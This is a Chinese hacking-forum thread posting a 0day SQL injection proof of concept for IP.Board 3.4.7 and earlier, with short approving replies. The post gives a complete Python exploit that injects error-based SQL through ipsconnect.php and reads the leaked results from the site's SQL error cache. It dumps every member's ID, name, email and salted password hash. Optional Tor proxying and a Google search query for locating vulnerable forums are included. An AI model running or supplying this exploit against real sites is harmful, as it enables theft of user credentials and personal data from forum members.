查看: 27128|回复: 3

IP.Board<=3.4.7 SQL注入漏洞(0day)POC

[复制链接]
  • TA的每日心情

    2024-11-13 20:06
  • 签到天数: 1628 天

    [LV.Master]伴坛终老

    发表于 2014-11-11 11:52:36 | 显示全部楼层 |阅读模式
    14156749986850.jpg
    近日IP.Board <= 3.4.7爆出重要0day漏洞。IPB论坛全称为Invision Power Board(缩写为IPB或IP.Board),是世界上最著名的论坛程序之一,由PHP+MySQL架构。
    漏洞成因是酱紫的,interface/ipsconnect/ipsconnect.php页面的没有正确处理id参数。导致网站出现sql error,漏洞会把sql error写入/cache/sql_error_latest.cgi。通过不断遍历读取数据,可以获取到相应敏感信息。
    漏洞POC(仅供网站安全验证,禁止非法用途)
    [AppleScript] 纯文本查看 复制代码
    #!/usr/bin/env python
    # Sunday, November 09, 2014 - secthrowaway [ at ] safe-mail.net
    # IP.Board <= 3.4.7 SQLi (blind, error based); 
    # you can adapt to other types of blind injection if 'cache/sql_error_latest.cgi' is unreadable
    url = 'http://target.tld/forum/'
    ua = "Mozilla/5.0 (Windows NT 6.2; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/30.0.1599.17 Safari/537.36"
    import sys, re
    # <socks> - [url]http://sourceforge.net/projects/socksipy/[/url]
    #import socks, socket
    #socks.setdefaultproxy(socks.PROXY_TYPE_SOCKS5, "127.0.0.1", 9050)
    #socket.socket = socks.socksocket
    # </socks>
    import urllib2, urllib
    def inject(sql):
    try:
    urllib2.urlopen(urllib2.Request('%sinterface/ipsconnect/ipsconnect.php' % url, data="act=login觔 =id[]=-1[]=%s" % urllib.quote('-1) and 1!="\'" and extractvalue(1,concat(0x3a,(%s)))#\'' % sql), headers={"User-agent": ua}))
    except urllib2.HTTPError, e:
    if e.code == 503:
    data = urllib2.urlopen(urllib2.Request('%scache/sql_error_latest.cgi' % url, headers={"User-agent": ua})).read()
    txt = re.search("XPATH syntax error: ':(.*)'", data, re.MULTILINE)
    if txt is not None: 
    return txt.group(1)
    sys.exit('Error [3], received unexpected data:\n%s' % data)
    sys.exit('Error [1]')
    sys.exit('Error [2]')
    def get(name, table, num):
    sqli = 'SELECT %s FROM %s LIMIT %d,1' % (name, table, num)
    s = int(inject('LENGTH((%s))' % sqli))
    if s < 31:
    return inject(sqli)
    else:
    r = ''
    for i in range(1, s+1, 31):
    r += inject('SUBSTRING((%s), %i, %i)' % (sqli, i, 31))
    return r
    n = inject('SELECT COUNT(*) FROM members')
    print '* Found %s users' % n
    for j in range(int(n)):
    print get('member_id', 'members', j)
    print get('name', 'members', j)
    print get('email', 'members', j)
    print get('CONCAT(members_pass_hash, 0x3a, members_pass_salt)', 'members', j)
    print '----------------'


    POC来源:http://www.marshut.net/krtqnk/ip-board-3-4-7-sql-injection.html
    Google关键字:inurl:Software by IP.Board 3.4. inurl:Forum
    回复

    使用道具 举报

    该用户从未签到

    发表于 2014-11-11 16:02:01 | 显示全部楼层
    这么吊吗!!!!
    回复 支持 反对

    使用道具 举报

  • TA的每日心情

    2016-9-21 14:45
  • 签到天数: 4 天

    [LV.2]偶尔看看I

    发表于 2014-11-11 17:33:09 | 显示全部楼层
    又是一段论了
    回复 支持 反对

    使用道具 举报

    该用户从未签到

    发表于 2014-11-14 19:58:36 | 显示全部楼层
    支持一下!!!
    回复 支持 反对

    使用道具 举报

    您需要登录后才可以回帖 登录 | 注册

    本版积分规则

    指导单位

    江苏省公安厅

    江苏省通信管理局

    浙江省台州刑侦支队

    DEFCON GROUP 86025

    旗下站点

    邮箱系统

    应急响应中心

    红盟安全

    联系我们

    官方QQ群:112851260

    官方邮箱:security#ihonker.org(#改成@)

    官方核心成员

    Archiver|手机版|小黑屋| ( 苏ICP备2021031567号 )

    GMT+8, 2024-11-22 12:53 , Processed in 0.024806 second(s), 13 queries , Gzip On, MemCache On.

    Powered by ihonker.com

    Copyright © 2015-现在.

  • 返回顶部